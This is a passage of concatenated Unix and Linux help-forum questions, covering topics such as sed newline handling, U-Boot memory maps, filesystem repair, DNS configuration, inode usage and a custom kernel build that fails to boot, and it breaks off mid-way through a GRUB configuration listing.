text: I have a javascript file with two new lines after a particular word "[FACT]", I want to replace it with one newline. I need to do it in bash script. Normally, I would have used `sed` but it turns out that `sed` is not good for dealing with newlines in input. (correct me if i am wrong). To do it programatically, I can employ shell script or javascript/Java etc. for this purpose, but what will be a good solution from the perspective of software engineering (maintainability, portability etc.).               sed 's/\[FACT\]\/n/\[FACT\]/g' file.js


title: Understanding SPL & U-Boot Memory Map using bdinfo?

text: We are using beaglebone black based custom board, I want to write some test results into RAM location from SPL, and read that log and send it via `tftpput` to the host PC. So far I'm able to do `tftpput` from RAM to the host PC. But on the safer side I want to find RAM location which neither SPL nor U-Boot uses. To find that out I need suggestions regarding SPL and U-Boot's memory map. Board's info looks as follows:               #bdinfo     arch_number = 0x00000E05     boot_params = 0x80000100     DRAM bank   = 0x00000000     -> start    = 0x80000000  ---> RAM Start address     -> size     = 0x10000000  ---> 256 MB     eth0name    = cpsw     ethaddr     = 1c:ba:8c:9d:5f:f0     current eth = cpsw     ip_addr     = 192.168.1.106     baudrate    = 115200 bps     TLB addr    = 0x8FFF0000  ---> AFA i understand its for Linux right ?     relocaddr   = 0x8FFB3000  ---> Does u-boot use this ?     reloc off   = 0x0F7B3000  ---> Does u-boot use this ?     irq_sp      = 0x8FE92F38  ---> Does u-boot use this ?     sp start    = 0x8FE92F28  ---> Does u-boot use this ?      `System.map` file show max address as follows:               8083c7ac B __bss_end     8083c7ac B __bss_limit      `u-boot.map` file shows max address as follows:                .__bss_end     0x8083c7ac        0x0 arch/arm/lib/libarm.o                     0x8083c7ac                __bss_end      `u-boot-spl.map` file shows max address as follows:               0x80a0299c                . = ALIGN (0x4)     0x80a0299c                __bss_end = .      Can someone explain `bdinfo` please? I want to understand following fields in `bdinfo`, "TLB addr", "relocaddr", "reloc off", "irq_sp" & "sp start". So should I consider using 0x81000000 as safe address and start using it for my logging?


title: How to show full day name with command of e.g. Jul 16 1991

text: I found out that `date --date 'Jul 16 1991'` has an complete output, but I only want the terminal to show the name of the day e.g. Monday. How do I do that?


title: Bash is not fully functional for a new user

text: I just created a new user on my system using `useradd -d /home/users/john -m john` (Using Ubuntu 11.04). This worked fine, but when I changed to `john`, my bash is not fully functional. That is, it has no autocomplete, I can not use they arrow keys (e.g. UP to get the last command), and instead of showing my current directory it only shows `$`. I loaded a `.bashrc` but this appears to be completely ignored. What could cause this? PD: this user is already working on the system and I rather not remove it and add it again, if possible.


title: Maze screensaver on old Unix computers

text: I used to use unix computers in the 90's for building GIS systems. There used to be a screen saver which consited of a maze that filled the screen. Then the computer would logically solve the maze with a shaded path, a lighter shade for the wrong decisions and a darker shade for the correct decisions, and eventually showing the completed solution. I would love to see this screen saver again, and even get it for my windows computer. Does anyone remember it?


title: Disable mouse (not touchpad!) in Xorg while idle

text: I am an avid keyboard user, but I still need the mouse every now and then. To minimize the hand travel, I have the mouse located below my keyboard. (On a side note, using the mouse this way feels more natural to my hand.) I am currently using unclutter to hide the pointer while I don’t use the mouse. Unfortunately, I am nudging it at times while typing, which causes the pointer to reappear. Sometimes this will move the pointer over another window, which in turn takes the focus away from my current window. (I am using sloppy focus, and changing this is not an option.) I am now searching for a possibility to not only hide the pointer after a certain amount of idle time, but disable the mouse altogether. Clicking any mouse button or using the mouse wheel should then re-enable the mouse.


title: Screen turns on automatically (xset dpms force off)

text: I am using `xset dpms force off` to manually turn my screen off to save power. However, it turns back on after some time (20 - 40 seconds). > Distro: Ubuntu-Lucid > > Graphics: Intel 4500 MHD Trying steps in this solution (Turning off screensaver or wireless) did not work. Can it be due to any other reasons like network (magic packet) or usb devices? Result of `xset -p`:               Keyboard Control:       auto repeat:  on    key click percent:  0    LED mask:  00000000       XKB indicators:         00: Caps Lock:   off    01: Num Lock:    off    02: Scroll Lock: off         03: Compose:     off    04: Kana:        off    05: Sleep:       off         06: Suspend:     off    07: Mute:        off    08: Misc:        off         09: Mail:        off    10: Charging:    off    11: Shift Lock:  off         12: Group 2:     off    13: Mouse Keys:  off       auto repeat delay:  500    repeat rate:  30       auto repeating keys:  00ffffffdffffbbf                             fadfffefffedffff                             9fffffffffffffff                             fff7ffffffffffff       bell percent:  50    bell pitch:  400    bell duration:  100     Pointer Control:       acceleration:  2/1    threshold:  4     Screen Saver:       prefer blanking:  yes    allow exposures:  yes       timeout:  0    cycle:  0     Colors:       default colormap:  0x20    BlackPixel:  0    WhitePixel:  16777215     Font Path:       /usr/share/fonts/X11/misc,/usr/share/fonts/X11/100dpi/:unscaled,/usr/share/fonts/X11/75dpi/:unscaled,/usr/share/fonts/X11/Type1,/usr/share/fonts/X11/100dpi,/usr/share/fonts/X11/75dpi,/var/lib/defoma/x-ttcidfont-conf.d/dirs/TrueType,built-ins     DPMS (Energy Star):       Standby: 0    Suspend: 0    Off: 0       DPMS is Enabled       Monitor is On


title: e2fsck: unable to set superblock flags on LogicalVolume

text: When I boot my machine either in normal mode or runlevel 1 it throws following error and I'm unable to boot the machine: > checking filesystems   >  /dev/MyGroup/LogVol00: UNEXPECTED INCONSISTENCY; RUN fsck MANNUALLY   >  (i.e., without -a or -p options) > > *** An error occured during the file system check   >  *** Dropping you to a shell; the system will reboot   >  *** when you leave the shell   >  Give root password for maintenance (or type Control-D to continue): I enter the password and run `fsck` and `e2fsck`, but both gives the same error format as shown below:               (Repair filesystem) 1 # fsck     fsck 1.39 (29-May-2006)      OR               (Repair filesystem) 1 # e2fsck -y /dev/MyGroup/LogVol00     e2fsck 1.39 (29-May-2006)     /dev/MyGroup/LogVol001: clean, 141289/1402144 files, 804207/1400832 blocks     e2fsck 1.39 (29-May-2006)     The filesystem size of the device is 131072 blocks     Either the superblock or the partition table is likely to be corrupt!      Now I decide to use alternate superblock as follows:               (Repair filesystem) 6 #dumpe2fs /dev/MyGroup/LogVol00 | grep -i superblock      To repair file system by alternative-superblock use command as follows:               (Repair filesystem) 7 #e2fsck -f -b 8193 /dev/MyGroup/LogVol00      After using all alternate superblocks I am getting the same error message as shown below: > e2fsck 1.39 (29-May-2006)   >  /dev/MyGroup/LogVol00: recovering journel   >  e2fsck: unable to set superblock flags on /dev/MyGroup/LogVol00: How can I troubleshoot this type of problem?


title: Linux advice for datalogging machine

text: I've been asked whats the cheapest/easiest/most reliable way to use Linux as a webserver/mysql DB machine. Is it going to be buying a really old PC and putting Linux on it or what i'd rather do is get one of these SBC (single board computers) to cut down on cost and just house it in a casing. This is going to sit on an ethernet network and be UPS'd up. But i'm just wondering from a hardware point of view what people would/have done?


title: Why is Debian not creating the 'wheel' group by default?

text: It appears to be Unix tradition that a wheel group is created automatically, but Debian (and children, naturally) doesn't do so. Is there a rationale somewhere? Where else have you seen this tradition discarded?


title: Loadkeys gives permission denied for normal user

text: I am trying to perform loadkeys operation. For normal user, I am getting permission denied error. the error is as follows.               <tim@testps>~% loadkeys mykeys     Loading /usr/tim/mykeys     Keymap 0: Permission denied     Keymap 1: Permission denied     Keymap 2: Permission denied     KDSKBENT: Operation not permitted     loadkeys: could not deallocate keymap 3


title: Qemu Backing Files Question

text: If I'm creating a new.qcow2 qcow2 image based on a backing file (called base.qcow2) and the backing file is located on an nfs share. What happens if someone tries to modify, replace, or delete the base.qcow2? Is there a locking mechanism that prevents this? Will all of the blocks be copied to the new.qcow2 image prior to removing or modifying the base.qcow2? The scenario is as follows:               qemu-img create -f qcow2 -b /mnt/nfs/base.qcow2 /localdisk/new.qcow2      On the nfs server or other client:               rm nfs/base.qcow2      What happens to new.qcow2 created from base.qcow2?


title: Bash source -- select the right function when two sourced files have the same function name?

text: My bash script sources a script file (call it `file2.sh`) according to an argument. (It is either sourced or not.) The script `file2.sh` contains a function "foo" (call it a modified or improved version of foo). The script also sources another file (`file1.sh`) which contains the original function "foo". This one (`file1.sh`) is always sourced (and it has other functions that are required). I need the function "foo" in `file2.sh` to override the "foo" in file1.sh (if `file2.sh` is sourced). Furthermore, I need to do this in any scripts that my main script calls. Several of those called script files also source `file1.sh`. They are expecting the original "foo" function. But I need to make them call the improved "foo" without modifying them. In other words, if my main script includes `file2.sh`, I want any script (which is called by my main script) that sources `file1.sh` to use "foo" from `file2.sh` instead. And I can't change any of the other files except my main script. (Or if I do change them, I need them to work correctly when `file2.sh` is not sourced by the main script.)


title: How to find first match in multiple files

text: Is there a way for the find command to search for the first match or occurrence of a string or pattern **within each** of multiple files? I've been using the usual syntax:                find dir -iname '*.ext' -exec command 'pattern' {} \;      (I also happen to be searching pdfs with `-exec pdfgrep` but suppose that would be a special case of the general problem and may be dealt with afterwards or separately.) Keep in mind this is not same as the commonly-asked problem of producing the first result from a search using find with `-quit` or `head -n 1`.


title: Mounting USB Drive -- Cannot delete files unless have su permissions

text: Is there a way I can automount this USB drive so that I don't need to have root privileges to delete files? This is what I currently have in my fstab file:               /dev/sdb1 /mnt/epson auto defaults,user,exec,umask=777 0 0      When I try to delete a file in the `/mnt/epson` folder:               $:/mnt/epson/EPSCAN/001$ rm EPSON004.PDF     rm: remove write-protected regular file ‘EPSON004.PDF’? y     rm: cannot remove ‘EPSON004.PDF’: Permission denied      If I run as sudo I can delete the file. I would like to grant any user to delete the files on the USB drive, as it is a USB stick plugged into an Epson WorkForce 840 printer and I am sharing the scans via this mounted drive. My backup solution is to schedule a chron job to clear out the folder periodically, however I would like to allow users to delete the files. The same goes for any actions in the folder, and I cannot change the ownership either:               /mnt$ sudo chown user:user -R epson     chown: changing ownership of ‘epson/EPSCAN/001/test’: Operation not permitted     chown: changing ownership of ‘epson/EPSCAN/001/EPSON004.PDF’: Operation not permitted     chown: changing ownership of ‘epson/EPSCAN/001/EPSON005.PDF’: Operation not permitted     chown: changing ownership of ‘epson/EPSCAN/001/EPSON006.PDF’: Operation not permitted     chown: changing ownership of ‘epson/EPSCAN/001’: Operation not permitted     chown: changing ownership of ‘epson/EPSCAN’: Operation not permitted     chown: changing ownership of ‘epson’: Operation not permitted      EDIT: Problem solved: Problem solved, here is my fstab file:               /dev/sdb1 /mnt/epson vfat user,umask=0000,iocharset=utf8 0 0      http://ubuntuforums.org/showthread.php?t=1156286


title: Atom - compatible processors for a kernel

text: Does anyone know any Atom N270-compatible processors (what I mean is not that they run on the same socket, but that they can share a kernel with nothing going wrong). Btw, this also means that they run the same instruction set, right? (My question is similar to Kernel Configuration: Which Processor Family to choose for 'Celeron M CPU 420' (Core Solo)? , but I'm not making my own kernel; I'm trying to install Chrome OS through http://zzsethzz.blogspot.com/2013/02/install-chromium-upgrade-it-to- chrome.html. Also, the previous link says that the celeron builds should be compatible. Is that true?)


title: How do I set my DNS on Ubuntu 14.04?

text: Most of the info I see online says to edit `/etc/resolv.conf`, but any changes I make just get overridden.               $ cat /etc/resolv.conf      # Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)     #     DO NOT EDIT THIS FILE BY HAND --      #     YOUR CHANGES WILL BE OVERWRITTEN nameserver 127.0.1.1      It seems that 127.0.1.1 is a local instance of `dnsmasq`. The `dnsmasq` docs say to edit `/etc/resolv.conf`. I tried putting custom nameservers in `/etc/resolv.conf.d/base`, but the changes didn't show up in `/etc/resolv.conf` after running `sudo resolvconf -u`. FYI, I don't want to change DNS on a per-connection basis, I want to set default DNS settings to use for all connections when not otherwise specified.


title: How to disable respawn for terminal?

text: In old 5.3 rhel, we used to define the number of terminals and their respawn settings in `/etc/inittab` file as below.               1:2345:respawn:/sbin/mingetty tty1     1:2345:respawn:/sbin/mingetty tty2     1:2345:respawn:/sbin/mingetty tty3     1:2345:respawn:/sbin/mingetty tty4 ....etc for 12 terminals      In new RHEL 6.4, we need to define the terminals in `/etc/sysconfig/init` file as below               ACTIVE_CONSOLES="/dev/tty[1-9] /dev/tty10 /dev/tty11 /dev/tty12"      Now, how can I turn off the respawn property for any terminal.. say tty5?


title: /dev/hidraw: read permissions

text: What do I need to do to have read permissions on /dev/hidraw*? I'm seeing stuff about udev rules and saw this on the net, but the world of udev is like a foreign land to me, and if there's some sort of a simpler solution where I just add myself to a group that'd be dandy... (Ubuntu 13.10 Preview) Feel free to retag the question - I'm not too keen on what 'hidraw' exactly goes under. EDIT: H'okay, so, just some more information to clarify the issue: I literally stepped through code that called the POSIX `open()` method, and got the `errno` for insufficient permissions. Running `cat` on the file as a normal user results in an insufficient permissions error, while running under `su` results in a successful (albeit meaningless) `cat` operation. EDIT EDIT: At request, I'm providing the relevant code with POSIX call. It's from the HIDAPI library by Signal11 (function `hid_open_path`). I trust that this code is correct, as it has apparently been in use for quite some time now. I've added a comment located where the relevant `errno` reading took place in GDB.               hid_device *dev = NULL;          hid_init();          dev = new_hid_device();          if (kernel_version == 0) {         struct utsname name;         int major, minor, release;         int ret;         uname(&name);         ret = sscanf(name.release, "%d.%d.%d", &major, &minor, &release);         if (ret == 3) {             kernel_version = major << 16 | minor << 8 | release;             //printf("Kernel Version: %d\n", kernel_version);         }         else {             printf("Couldn't sscanf() version string %s\n", name.release);         }     }          /* OPEN HERE */     dev->device_handle = open(path, O_RDWR);          // errno at this location is 13: insufficient permissions          /* If we have a good handle, return it. */     if (dev->device_handle > 0) {              /* Get the report descriptor */         int res, desc_size = 0;         struct hidraw_report_descriptor rpt_desc;              memset(&rpt_desc, 0x0, sizeof(rpt_desc));              /* Get Report Descriptor Size */         res = ioctl(dev->device_handle, HIDIOCGRDESCSIZE, &desc_size);         if (res < 0)             perror("HIDIOCGRDESCSIZE");                   /* Get Report Descriptor */         rpt_desc.size = desc_size;         res = ioctl(dev->device_handle, HIDIOCGRDESC, &rpt_desc);         if (res < 0) {             perror("HIDIOCGRDESC");         } else {             /* Determine if this device uses numbered reports. */             dev->uses_numbered_reports =                 uses_numbered_reports(rpt_desc.value,                                       rpt_desc.size);         }              return dev;     }     else {         /* Unable to open any devices. */         free(dev);         return NULL;     }


title: Does Rsnapshot work on Fat32 filesystem?

text: Does Rsnapshot work on the Fat32 filesystem? I get the impression from Rsnapshots homepage that it does, but then I read here that it doesn't. So I'm not sure what to think.


title: Help with "/usr/bin/stat: Argument list too long" error

text: I need to get the list of files(`.log/.lst`) present in a directory(`$logfolder`) whose creation date is in a specific `$year` and `$month`               stat  --format='%y %n'  $logfolder/* |       grep "$year-$month-"|       awk -F' ' '{print $4}'|       grep 'log$\|lst$' > $archivepath/filesToArchive      This doesnt work when I query the command to a folder where there are too many files. I get the following error:               -bash: /usr/bin/stat: Argument list too long      Could anybody please help me?


title: kmod-staging-3.14* on Fedora 19?

text: I use Fedora 19 (Schrödinger’s Cat) on most computers as I prefer it over others (I probably would use Fedora 20 _if_ I could have Gnome 3.8 plus a few other packages). My problem is that I use `kmod-staging` package for drivers (e.g. SD card reader driver), provided by the RPMFusion repos. Now, when the system updates the kernel, the `kmod-staging` package (and `kmod-VirtualBox` package[Note1] need to be updated as well. So it updates, and when I reboot and it switches to the latest kernel, it throws errors as it can't load the drivers as they aren't there. I would need `kmod-staging-3.14.8-100.fc19.x86_64` for it to match the kernel version - but it seems to have stop receiving updates, since the latest build available seems to be `kmod-staging-3.13.9-100.fc19.x86_64`. So my questions are:   1. Why is `kmod-staging` not updated on Fedora 19 anymore? It receives updates on Fedora 20 - Fedora 19 is still supported[Note2] and receives updates to other packages from the same repo like `kmod-VirtualBox`.   2. Is there any way I could get `kmod-staging` for the 3.14 kernel on Fedora 19 _(other than installing the Fedora 20 kernel + kmod-staging)_ If anything I would like the first question answered - don't mind too much about the second as I'll just roll back to the 13.9 kernel [Note1] - Which doesn't have this problem and is still being updated - it even is shown in the latest build list (here) [Note2] - According to the release schedule, it should be supported a month after the release of the current version +2 (not before 2014-10-14), so it still has a while yet.


title: Why not download KDE libraries?

text: I am installing an Ubuntu VM and wanted a good integrated development environment for C/C++. A simple Google search pointed me at this question that recommends Eclipse, KDevelop, and others. On the second answer, the author said "if you're fine with downloading KDE libraries...". **Why would I not be fine downloading KDE libraries?** I guess I don't have enough of the context to understand, and a simple Google search didn't reveal anything that would dissuade me from downloading KDevelop. Can someone point me in the right direction?


title: Remote script cleaning up

text: I run a remote script using ssh: local script:               local_command     ssh -p 222 user@server 'sh -s' < ./remote_run.sh      remote script:               some_command &      sleep 10000     trap 'echo exiting' SIGINT SIGTERM SIGABRT SIGKILL EXIT      I need a trap on remote script for cleaning up (kill running processes and remove files). But used approach does not work. Any suggestions?


title: What Pidgin protocol should I choose for gmail?

text: I want to open a Pidgin account. My OS is Scientific Linux 6 just in case that's an issue. I clicked on 'Add' and the first thing to select is Protocol. The contents of the list are:               AIM,Bonjour,Facebook,Gadu-Gadu,GoogleTalk,GroupWise,ICQ,IRC,MSN,MXit,     MySpaceIM,QQ,SIMPLE,Sametime,XMPP,Yahoo,Yahoo Japan,Zephyr.      I use gmail but it is not on the dropdown list. I don't use anything else on that list. Which Protocol should I choose?


title: Remote PC accessible by ssh, scp/rsync not working (anymore)

text: I've got a remote machine running Ubuntu 12.04 LTS. I've used it lots of times to log in to via `ssh` and to copy files to via `scp` and `rsync`. Today I was able to log in via `ssh`, but I'm not able to copy stuff to the remote drives using `scp` and `rsync`. I get the following answers: **scp:** > >     ssh: connect to host xxx.xxx.xxx.xxx port 22: Operation timed out >   **rsync:** > >     ssh: connect to host xxx.xxx.xxx.xxx port 22: Operation timed out >     rsync: connection unexpectedly closed (0 bytes received so far) [sender] >     rsync error: unexplained error (code 255) at > /SourceCache/rsync/rsync-42/rsync/io.c(452) [sender=2.6.9] >   _What I tried so far:_   * updating and dist-upgrading my machine   * rebooting my machine   * restarting the ssh-deamon (sudo service ssh restart) What else can I do?


title: Change permissions for a symbolic link

text: I have a symlink with these permissions:               lrwxrwxrwx 1 myuser myuser       38 Aug 18 00:36 npm -> ../lib/node_modules/npm/bin/npm-cli.js*      The symlink is located in a .tar.gz archive. Now when I unpack the tar.gz archive using maven the symlink is no longer valid. I'm therefore trying to reconstruct the symlink. First I create the symlink using **ln** but how do I set the same permissions as the original symlink?


title: Where have all my inodes gone?

text: Today, I ran out of inodes on one of my VPSs.   I deleted a bunch of superfluous small files, freeing enough inodes to make the system operational again:               Filesystem     Inodes IUsed IFree IUse% Mounted on     /dev/simfs       586K  529K   58K   91% /      I also hacked together a short command to give me the number of used inodes (essentially listing all files with their inode numbers, filtering out duplicates and counting the lines of the result):               sudo find / -xdev -type f -printf '%i~%P\n' > files.txt     <files.txt | sort -u -t'~' -k1,1 > inodes.txt     wc -l files.txt inodes.txt                    1513608 files.txt       275320 inodes.txt      So it looks like the files on `/` only account for 275k inodes, but `df` reports 529k used. How can that be? (I even restarted the system to free any inodes that were still locked by processes, but that didn't change the amount of used inodes at all.)


title: ZoneMinder compiling error: "missing binary operator before token "(""

text: When installing ZoneMinder 1.25.0 in CentOS 6.4 (64-bit) the following error pops up when executing `make`: > zm_ffmpeg_camera.cpp:105:44: error: missing binary operator before token "(" Full log:               zm_ffmpeg_camera.cpp:105:44: error: missing binary operator before token "("     In file included from zm_ffmpeg_camera.cpp:24:     zm_ffmpeg_camera.h:39: error: ISO C++ forbids declaration of ‘AVFormatContext’ with no type     zm_ffmpeg_camera.h:39: error: expected ‘;’ before ‘*’ token     zm_ffmpeg_camera.h:41: error: ISO C++ forbids declaration of ‘AVCodecContext’ with no type     zm_ffmpeg_camera.h:41: error: expected ‘;’ before ‘*’ token     zm_ffmpeg_camera.h:42: error: ISO C++ forbids declaration of ‘AVCodec’ with no type     zm_ffmpeg_camera.h:42: error: expected ‘;’ before ‘*’ token     zm_ffmpeg_camera.h:44: error: ISO C++ forbids declaration of ‘AVFrame’ with no type     zm_ffmpeg_camera.h:44: error: expected ‘;’ before ‘*’ token     zm_ffmpeg_camera.h:45: error: ISO C++ forbids declaration of ‘AVFrame’ with no type     zm_ffmpeg_camera.h:45: error: expected ‘;’ before ‘*’ token     zm_ffmpeg_camera.cpp: In constructor ‘FfmpegCamera::FfmpegCamera(int, const std::string&, int, int, int, int, int, int, int, bool)’:     zm_ffmpeg_camera.cpp:35: error: ‘mFormatContext’ was not declared in this scope     zm_ffmpeg_camera.cpp:37: error: ‘mCodecContext’ was not declared in this scope     zm_ffmpeg_camera.cpp:38: error: ‘mCodec’ was not declared in this scope     zm_ffmpeg_camera.cpp:40: error: ‘mRawFrame’ was not declared in this scope     zm_ffmpeg_camera.cpp:41: error: ‘mFrame’ was not declared in this scope     zm_ffmpeg_camera.cpp: In destructor ‘virtual FfmpegCamera::~FfmpegCamera()’:     zm_ffmpeg_camera.cpp:46: error: ‘mFrame’ was not declared in this scope     zm_ffmpeg_camera.cpp:46: error: ‘av_freep’ was not declared in this scope     zm_ffmpeg_camera.cpp:47: error: ‘mRawFrame’ was not declared in this scope     zm_ffmpeg_camera.cpp:51: error: ‘sws_freeContext’ was not declared in this scope     zm_ffmpeg_camera.cpp:54: error: ‘mCodecContext’ was not declared in this scope     zm_ffmpeg_camera.cpp:56: error: ‘avcodec_close’ was not declared in this scope     zm_ffmpeg_camera.cpp:59: error: ‘mFormatContext’ was not declared in this scope     zm_ffmpeg_camera.cpp:61: error: ‘av_close_input_file’ was not declared in this scope     zm_ffmpeg_camera.cpp: In member function ‘void FfmpegCamera::Initialise()’:     zm_ffmpeg_camera.cpp:78: error: ‘AV_LOG_DEBUG’ was not declared in this scope     zm_ffmpeg_camera.cpp:78: error: ‘av_log_set_level’ was not declared in this scope     zm_ffmpeg_camera.cpp:80: error: ‘AV_LOG_QUIET’ was not declared in this scope     zm_ffmpeg_camera.cpp:80: error: ‘av_log_set_level’ was not declared in this scope     zm_ffmpeg_camera.cpp:82: error: ‘av_register_all’ was not declared in this scope     zm_ffmpeg_camera.cpp: In member function ‘virtual int FfmpegCamera::PrimeCapture()’:     zm_ffmpeg_camera.cpp:94: error: ‘mFormatContext’ was not declared in this scope     zm_ffmpeg_camera.cpp:94: error: ‘av_open_input_file’ was not declared in this scope     zm_ffmpeg_camera.cpp:95: error: ‘errno’ was not declared in this scope     zm_ffmpeg_camera.cpp:98: error: ‘mFormatContext’ was not declared in this scope     zm_ffmpeg_camera.cpp:98: error: ‘av_find_stream_info’ was not declared in this scope     zm_ffmpeg_camera.cpp:99: error: ‘errno’ was not declared in this scope     zm_ffmpeg_camera.cpp:103: error: ‘mFormatContext’ was not declared in this scope     zm_ffmpeg_camera.cpp:108: error: ‘CODEC_TYPE_VIDEO’ was not declared in this scope     zm_ffmpeg_camera.cpp:118: error: ‘mCodecContext’ was not declared in this scope     zm_ffmpeg_camera.cpp:118: error: ‘mFormatContext’ was not declared in this scope     zm_ffmpeg_camera.cpp:121: error: ‘mCodec’ was not declared in this scope     zm_ffmpeg_camera.cpp:121: error: ‘avcodec_find_decoder’ was not declared in this scope     zm_ffmpeg_camera.cpp:125: error: ‘mCodec’ was not declared in this scope     zm_ffmpeg_camera.cpp:125: error: ‘avcodec_open’ was not declared in this scope     zm_ffmpeg_camera.cpp:129: error: ‘mRawFrame’ was not declared in this scope     zm_ffmpeg_camera.cpp:129: error: ‘avcodec_alloc_frame’ was not declared in this scope     zm_ffmpeg_camera.cpp:132: error: ‘mFrame’ was not declared in this scope     zm_ffmpeg_camera.cpp:135: error: ‘PIX_FMT_RGB24’ was not declared in this scope     zm_ffmpeg_camera.cpp:135: error: ‘avpicture_get_size’ was not declared in this scope     zm_ffmpeg_camera.cpp:138: error: ‘AVPicture’ was not declared in this scope     zm_ffmpeg_camera.cpp:138: error: expected primary-expression before ‘)’ token     zm_ffmpeg_camera.cpp:138: error: ‘avpicture_fill’ was not declared in this scope     zm_ffmpeg_camera.cpp:141: error: ‘SWS_BICUBIC’ was not declared in this scope     zm_ffmpeg_camera.cpp:141: error: ‘sws_getCachedContext’ was not declared in this scope     zm_ffmpeg_camera.cpp: In member function ‘virtual int FfmpegCamera::Capture(Image&)’:     zm_ffmpeg_camera.cpp:159: error: ‘AVPacket’ was not declared in this scope     zm_ffmpeg_camera.cpp:159: error: expected ‘;’ before ‘packet’     zm_ffmpeg_camera.cpp:163: error: ‘mFormatContext’ was not declared in this scope     zm_ffmpeg_camera.cpp:163: error: ‘packet’ was not declared in this scope     zm_ffmpeg_camera.cpp:163: error: ‘av_read_frame’ was not declared in this scope     zm_ffmpeg_camera.cpp:172: error: ‘mCodecContext’ was not declared in this scope     zm_ffmpeg_camera.cpp:172: error: ‘mRawFrame’ was not declared in this scope     zm_ffmpeg_camera.cpp:172: error: ‘avcodec_decode_video2’ was not declared in this scope     zm_ffmpeg_camera.cpp:182: error: ‘mRawFrame’ was not declared in this scope     zm_ffmpeg_camera.cpp:182: error: ‘mCodecContext’ was not declared in this scope     zm_ffmpeg_camera.cpp:182: error: ‘mFrame’ was not declared in this scope     zm_ffmpeg_camera.cpp:182: error: ‘sws_scale’ was not declared in this scope     zm_ffmpeg_camera.cpp:188: error: ‘mCodecContext’ was not declared in this scope     zm_ffmpeg_camera.cpp:188: error: ‘mFrame’ was not declared in this scope     zm_ffmpeg_camera.cpp:193: error: ‘av_free_packet’ was not declared in this scope     make[2]: *** [zm_ffmpeg_camera.o] Error 1     make[2]: Leaving directory `/root/cam/ZoneMinder-1.25.0/src'     make[1]: *** [all-recursive] Error 1     make[1]: Leaving directory `/root/cam/ZoneMinder-1.25.0'     make: *** [all] Error 2


title: Permission issue on OpenSuSe 12.3

text: When running openSUSE 12.3, the updater pops up with mysql/mariadb updates available. Being a trusting person, I always update whenever any update is offered. I have spent the day regretting this decision. I have found that **when the mysql daemon is started it promptly changes the file permissions of some very important files and directories.** For instance it changes the owner and group to `mysql:mysql` for the directory `/usr`, `/usr/bin` and all the files in `/usr/bin`. This **impacts the system dramatically** , like **not being able to use`su` or `sudo`**. Also found that it did similar things in `/etc`. I have disabled the system starting the mysql daemon and am now **I'm trying to repair the damage**. Can anyone tell me how to stop this behaviour as I am now reluctant to start the daemon again as I suspect it will change all the file permissions back again.


title: MailScanners: spamassassin vs spamd & clamav vs clamd

text: I'm trying to decide which method is better question for you today. I'm running a Debian+Sendmail(w/TSL+SASL)+MailScanner+SpamAssassin+Clam setup. I'm wondering which is a better way to execute my setup on a VPS which will eventually have some serious mail traffic. End goal is to conserve RAM and CPU. The two options are:   * Spamassassin vs the spamd daemon   * ClamAV (clamscan) vs clamd daemon I've googled the topic quite a bit and have not really found any good direction. Can anyone please provide advice on which options would be best?


title: I`ve installed sqlite. Now where should i find it? How to make connection from java?

text: I have Linaro 12.07 (Ubuntu 3) I`ve made               sudo apt-get install sqlite3 libsqlite3-dev  libxml2-dev g++ ncurses-dev      and Linaro says:               libncurses5-dev is already the newest version.      libxml2-dev is already the newest version.     libsqlite3-dev is already the newest version.     sqlite3 is already the newest version.      How should i connect from Java project ? I assume there must be some jar-file or something like this? I had another sqlite library in JAR and i`ve started my program like this: java .:MySqliteJar.jar MyJavaApp But since i`ve installed new version i dont know where should i find it.


title: Adding a folder of jar files to my path

text: Unix newbie here. I have java tools that I need to use. The tools are in a folder full of jar files. I wanted to add this folder to my path, for the obvious reasons, but after I edit my .bash_profile to include the new folder in the $PATH variable, and source it, it doesn't work. I also tried logging out, and logging back in, and that didn't work either. I just keep getting the error message "Unable to access jarfile .jar" Any help is appreciated. Cheers.


title: Enabling shared Folders in SCO 5.0.7 on vmplayer

text: I have installed SCO 5.0.7 on a VMware Player VM on the Fedora 9 host system. In VMWare Player, i found an option to share folders between Fedora9 an SCO in Virtual Machine Settings. I enabled this option, but I could not get it work. I check the `/mnt` directory in SCO to see if the directory shared in Fedora is mounted, but it is not. Could anyone please tell me the proper procedure to share folders using VMware Player and SCO?


title: After installing a new Kernel in Ubuntu 14.04, rebooting takes me to busybox initramfs. How do I mount a filesystem after that?

text: I have a virtual machine with Ubuntu 14.04 in it. I recently built and installed linux-3.14.5 kernel on it, and tried to boot into it, but it drops me to BusyBox v1.21.1 built-in shell. Here's what I did:                   wget https://www.kernel.org/pub/linux/kernel/v3.x/linux-3.14.5.tar.xz          mkdir ~/linux          mv linux-3.14.5.tar.xz ~/linux          tar -xJf linux-3.14.5.tar.xz          mkdir linux-3.14.5          cd linux-3.14.5_src/          make defconfig O=../linux-3.14.5         make menuconfig O=../linux-3.14.5  /* i didn't change anything */         make O=../linux-3.14.5         cd ../linux-3.14.5         sudo make install      I could see a file called **initrd.img-3.14.5** in **/boot** alongside the **intrd.img-3.13.0-24-generic** (which i guess, is the kernel of Ubuntu 14.04). There were also 2 files called **vmlinuz-3.14.5** and **vmlinuz-3.13.0-24-generic.** After that, ran                   sudo blkid      and got the following:                   /dev/sda1: UUID="92ec153c-cb92-4300-8d2a-f63b747ddd35" TYPE="ext4"          /dev/sda5: UUID="439a6423-28dc-4363-b47e-580f1e65e951" TYPE="swap"      I also ran                   sudo fdisk -l      which gave me                   Disk /dev/sda: 21.5 GB, 21474836480 bytes         255 heads, 63 sectors/track, 2610 cylinders, total 41943040 sectors         Units = sectors of 1 * 512 = 512 bytes         Sector size (logical/physical): 512 bytes / 512 bytes         I/O size (minimum/optimal): 512 bytes / 512 bytes         Disk identifier: 0x000268be                 Device Boot      Start         End      Blocks   Id  System         /dev/sda1   *        2048    39845887    19921920   83  Linux         /dev/sda2        39847934    41940991     1046529    5  Extended         /dev/sda5        39847936    41940991     1046528   82  Linux swap / Solaris      I checked the **/boot/grub/grub.cfg** file which had the following entry:                   menuentry 'Ubuntu, with Linux 3.13.0-24-generic' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.13.0-24-generic-advanced-92ec153c-cb92-4300-8d2a-f63b747ddd35' {                 recordfail                 load_video                 gfxmode $linux_gfx_mode                 insmod gzio                 insmod part_msdos                 insmod ext2                 set root='hd0,msdos1'                 if [ x$feature_platform_search_hint = xy ]; then                   search --no-floppy --fs-uuid --set=root --hint-bios=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  92ec153c-cb92-4300-8d2a-f63b747ddd35                 else                   search 